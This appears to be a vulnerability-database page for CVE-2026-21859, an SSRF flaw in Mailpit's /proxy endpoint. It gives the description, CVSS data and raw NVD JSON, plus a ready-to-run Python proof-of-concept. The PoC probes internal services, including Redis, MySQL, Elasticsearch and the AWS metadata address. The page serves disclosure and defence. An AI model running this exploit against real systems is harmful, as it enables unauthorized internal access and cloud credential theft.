Security Vulnerability Report
中文
CVE-2026-21859 CVSS 5.8 MEDIUM

CVE-2026-21859

Published: 2026-01-08 00:16:00
Last Modified: 2026-02-02 19:16:53

Description

Mailpit is an email testing tool and API for developers. Versions 1.28.0 and below have a Server-Side Request Forgery (SSRF) vulnerability in the /proxy endpoint, allowing attackers to make requests to internal network resources. The /proxy endpoint validates http:// and https:// schemes, but it does not block internal IP addresses, enabling attackers to access internal services and APIs. This vulnerability is limited to HTTP GET requests with minimal headers. The issue is fixed in version 1.28.1.

CVSS Details

CVSS Score
5.8
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:axllent:mailpit:*:*:*:*:*:*:*:* - VULNERABLE
Mailpit <= 1.28.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # CVE-2026-21859 Mailpit SSRF PoC # Target: Mailpit <= 1.28.0 # Endpoint: /proxy def exploit_ssrf(target_url, internal_target): """ Exploit Mailpit SSRF vulnerability via /proxy endpoint Args: target_url: Base URL of vulnerable Mailpit instance internal_target: Internal resource to access (IP:port or hostname) Returns: Response from internal resource """ proxy_endpoint = f"{target_url.rstrip('/')}/proxy" # Construct SSRF payload targeting internal resource params = { 'url': internal_target } headers = { 'User-Agent': 'Mozilla/5.0 (compatible; SSRF-Test)', 'Accept': '*/*' } try: # Send GET request through vulnerable proxy endpoint response = requests.get( proxy_endpoint, params=params, headers=headers, timeout=10, verify=False ) return response.text except requests.RequestException as e: return f"Error: {str(e)}" # Example usage if __name__ == "__main__": # Target Mailpit instance target = "http://mailpit-vulnerable-server:8025" # Internal targets to probe internal_targets = [ "http://127.0.0.1:6379/", # Redis "http://127.0.0.1:3306/", # MySQL "http://192.168.1.1:8080/admin", # Internal router "http://10.0.0.1:9200/_cluster/health", # Elasticsearch "http://169.254.169.254/latest/meta-data/", # AWS metadata ] print("Mailpit SSRF Exploitation Test") print("=" * 50) for target_addr in internal_targets: print(f"\n[*] Probing: {target_addr}") result = exploit_ssrf(target, target_addr) print(f"[+] Response: {result[:200]}...")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-21859", "sourceIdentifier": "[email protected]", "published": "2026-01-08T00:16:00.150", "lastModified": "2026-02-02T19:16:52.987", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Mailpit is an email testing tool and API for developers. Versions 1.28.0 and below have a Server-Side Request Forgery (SSRF) vulnerability in the /proxy endpoint, allowing attackers to make requests to internal network resources. The /proxy endpoint validates http:// and https:// schemes, but it does not block internal IP addresses, enabling attackers to access internal services and APIs. This vulnerability is limited to HTTP GET requests with minimal headers. The issue is fixed in version 1.28.1."}, {"lang": "es", "value": "Mailpit es una herramienta de prueba de correo electrónico y una API para desarrolladores. Las versiones 1.28.0 e inferiores tienen una vulnerabilidad de falsificación de petición del lado del servidor (SSRF) en el endpoint /proxy, permitiendo a los atacantes realizar peticiones a recursos de la red interna. El endpoint /proxy valida los esquemas http:// y https://, pero no bloquea las direcciones IP internas, lo que permite a los atacantes acceder a servicios y API internas. Esta vulnerabilidad está limitada a peticiones HTTP GET con encabezados mínimos. El problema está solucionado en la versión 1.28.1."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N", "baseScore": 5.8, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-918"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:axllent:mailpit:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.28.1", "matchCriteriaId": "AEB660CD-DB82-43AE-A1A8-7A4724C1967F"}]}]}], "references": [{"url": "https://github.com/axllent/mailpit/commit/3b9b470c093b3d20b7d751722c1c24f3eed2e19d", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/axllent/mailpit/security/advisories/GHSA-8v65-47jx-7mfr", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}, {"url": "https://github.com/axllent/mailpit/security/advisories/GHSA-8v65-47jx-7mfr", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Vendor Advisory"]}]}}